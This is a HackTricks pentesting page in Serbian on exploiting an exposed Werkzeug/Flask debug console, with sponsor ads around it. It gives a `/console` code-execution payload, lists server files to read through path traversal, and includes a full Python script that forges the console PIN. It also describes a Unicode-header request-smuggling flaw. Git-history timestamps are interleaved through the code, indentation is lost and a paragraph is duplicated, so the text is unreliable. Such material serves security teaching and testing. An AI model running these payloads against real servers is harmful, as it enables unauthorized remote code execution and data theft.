hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

207 lines
10 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:24:39 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Console RCE
2020-11-22 21:47:52 +00:00
Ako je debagovanje aktivno, možete pokušati da pristupite `/console` i dobijete RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (117).png>)
2024-04-06 19:39:21 +00:00
Postoji nekoliko eksploata na internetu kao [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u.
2020-11-22 21:47:52 +00:00
## Zaštićeno PIN-om - Putanja Prelaz
2020-11-22 21:47:52 +00:00
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u prelazu datoteka**, možete da iscurite sve potrebne informacije za generisanje tog PIN-a.
2020-11-22 21:47:52 +00:00
### Werkzeug Console PIN Eksploit
2020-11-22 21:47:52 +00:00
Prisilite stranicu sa greškom za debagovanje u aplikaciji da biste videli ovo:
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti debug interfejsu Werkzeug-a, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u inicijalizacionom fajlu Werkzeug-a (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug repozitorijuma izvornog koda**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti pretraživanja fajlova zbog mogućih razlika u verzijama.
2020-11-22 21:47:52 +00:00
Da bi se iskoristio PIN konzole, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`:
2020-11-22 21:47:52 +00:00
#### **`probably_public_bits`**
* **`username`**: Odnosi se na korisnika koji je pokrenuo Flask sesiju.
* **`modname`**: Obično označen kao `flask.app`.
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Obično se rešava u **Flask**.
* **`getattr(mod, '__file__', None)`**: Predstavlja punu putanju do `app.py` unutar Flask direktorijuma (npr., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ako `app.py` nije primenljiv, **probajte `app.pyc`**.
2024-02-04 16:10:29 +00:00
#### **`private_bits`**
* **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, pri čemu `str(uuid.getnode())` prevodi u decimalni format.
* Da bi se **odredila MAC adresa servera**, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., `ens3`). U slučajevima nesigurnosti, **leak `/proc/net/arp`** da biste pronašli ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net/<device id>/address`**.
* Konverzija heksadecimalne MAC adrese u decimalnu može se izvršiti kao što je prikazano u nastavku:
2024-02-10 13:11:20 +00:00
```python
# Primer MAC adrese: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` posle poslednjeg kosa (`/`).
<details>
<summary>Code for `get_machine_id()`</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
2024-02-10 13:11:20 +00:00
if _machine_id is not None:
return _machine_id
2024-04-06 19:39:21 +00:00
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
2024-02-10 13:11:20 +00:00
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
2024-04-06 19:39:21 +00:00
if value:
linux += value
break
2024-04-06 19:39:21 +00:00
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
2024-04-06 19:39:21 +00:00
if linux:
return linux
2024-02-10 13:11:20 +00:00
# On OS X, use ioreg to get the computer's serial number.
2024-02-10 13:11:20 +00:00
try:
```
</details>
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN:
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene `probably_public_bits` i `private_bits` da kreira hash, koji zatim prolazi kroz dalju obradu da bi se dobio konačni PIN. Ispod je Python kod za izvršavanje ovog procesa:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
2024-02-10 13:11:20 +00:00
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
2024-02-10 13:11:20 +00:00
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
2024-02-04 16:10:29 +00:00
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
2024-02-10 13:11:20 +00:00
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
2024-02-04 16:10:29 +00:00
# h.update(b'shittysalt')
2020-11-22 21:47:52 +00:00
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
2024-02-10 13:11:20 +00:00
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
2024-02-04 16:10:29 +00:00
rv = None
2020-11-22 21:47:52 +00:00
if rv is None:
2024-02-10 13:11:20 +00:00
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.
2024-02-04 16:10:29 +00:00
{% hint style="success" %}
Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1.
{% endhint %}
2022-04-28 16:01:33 +00:00
## Werkzeug Unicode karakteri
Kao što je primećeno u [**ovoj temi**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug ne zatvara zahtev sa Unicode karakterima u header-ima. I kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), to može izazvati CL.0 Request Smuggling ranjivost.
To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to će uzrokovati **kvar** servera. Međutim, ako je HTTP veza kreirana sa header-om **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će ostati otvorena, tako da će se **telo** zahteva tretirati kao **sledeći HTTP zahtev**.
## Automatizovana Eksploatacija
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
## Reference
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}